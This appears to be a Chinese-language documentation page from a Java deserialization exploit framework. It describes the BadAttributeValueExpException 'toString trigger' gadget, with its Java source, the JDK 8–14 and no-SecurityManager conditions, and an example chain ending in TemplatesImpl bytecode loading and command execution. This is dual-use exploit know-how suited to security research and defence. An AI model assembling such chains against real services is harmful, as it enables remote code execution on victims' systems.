Skip to content

Latest commit

 

History

History
62 lines (52 loc) · 5.05 KB

File metadata and controls

62 lines (52 loc) · 5.05 KB

BAVE 调用toString(BadAttributeValueExpExceptionToString)

  • 类别:common 别名:— 优先级:11
  • 作者:—
  • 依赖8 <= jdk <= 14(纯 JDK,无第三方依赖)

作用

经典的 Java 原生反序列化「toString 触发器」。利用 javax.management.BadAttributeValueExpException#readObject() 在反序列化时会对其 val 字段调用 toString() 的行为,把一次原生反序列化转换为对任意对象的 toString() 调用,作为链首把执行流引向下游 toString 型 sink。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口,本 gadget 可直接作为原生反序列化链的最外层触发点。
  • 衔接 nextTagsToString —— 之后接一个暴露危险 toString() 的 gadget(如 JacksonToStringXBeanToStringFastjsonToString1/2),由它把 toString 进一步引向字节码/JNDI/表达式 sink。
  • excludes:无。

源码剖析

@GadgetTags(tags={"JavaNativeDeserialize"}, nextTags={"ToString"})
public class BadAttributeValueExpExceptionToString implements Gadget {
    private Object getObject(Object obj) throws Exception {
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
        Reflections.setFieldValue(badAttributeValueExpException, "val", obj);                    // 关键:把 toString 目标塞进 val
        Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
        Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
        Reflections.setFieldValue(badAttributeValueExpException, "cause", null);
        return badAttributeValueExpException;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Object object = chain.doCreate(context);                                   // 内层 toString gadget 产物
        Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);  // Fastjson 场景的旁路对象
        Object resultObject = this.getObject(object);
        if (getterObject != null) {
            return CommonMethod.listWrap(getterObject, resultObject);              // 若需旁路,包一层 List
        }
        return resultObject;
    }
}
  • 构造时先 new BadAttributeValueExpException((Object)null):传入 null 是为了让构造器不在构造阶段就调用 toString(构造器仅在有 SecurityManager 时才可能触发,传 null 可安全构造)。
  • 随后用反射把真正的 toString 目标写入 val 字段。反序列化时 BadAttributeValueExpException.readObject() 内部逻辑会在 System.getSecurityManager() == null 时执行 valObj = val.toString(),从而触发下游 sink 的 toString()
  • 额外把 stackTrace 置空数组、suppressedExceptions/causenull,是为了清理异常对象的多余字段,避免序列化体积膨胀或反序列化时因这些字段引发无关问题。
  • invoke 中读取 FASTJSON_HANDLE_BYPASS_KEY:当下游是 Fastjson 型 toString sink 且需要旁路处理时,用 CommonMethod.listWrap(getterObject, resultObject) 把旁路对象与本产物一起包进 List,配合 Fastjson 的自动 toString 调用完成触发;无旁路需求则直接返回 BAVE 对象。

关键触发条件System.getSecurityManager() 必须为 null。若存在安全管理器,readObject 会跳过 val.toString() 分支,链失效。

参数(@Param)

本类无 @Param 可配参数;toString 目标由 chain.doCreate 注入的内层对象决定,旁路对象由链上下文 FASTJSON_HANDLE_BYPASS_KEY 提供。

适用版本与原理要点

  • 适用 8 <= JDK <= 14。JDK 15+ 中 BadAttributeValueExpException#readObject() 逻辑收紧,不再无条件对 val 调用 toString,本链失效。
  • System.getSecurityManager()null
  • 描述明确给出高版本替代方案:HotSwappableTargetSource + XString 组合(即 HotSTSourceEquals + XString* 系列),用 equals→toStringXString.toString 绕过高版本限制。
  • 是 ysoserial/marshalsec 中广为人知的 BAVE toString 触发器在本框架中的实现。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为原生反序列化链首手工组合,例如:BadAttributeValueExpExceptionToString → JacksonToString → TWrap → TemplatesImpl → BytecodeConvert → Exec

关联

  • 上游:原生反序列化入口(JavaNativeDeserialize payload),本 gadget 即链首。
  • 下游(tags=ToString):JacksonToStringXBeanToStringFastjsonToString1/FastjsonToString2RomeToStringBean1/2SpringAopAspectjweaver
  • 同类 toString 触发器:AudioFileFormat/AudioFormat(走 equals→toString)、EventListenerListToStringTextAndMnemonicHashMapToStringXString1/2/3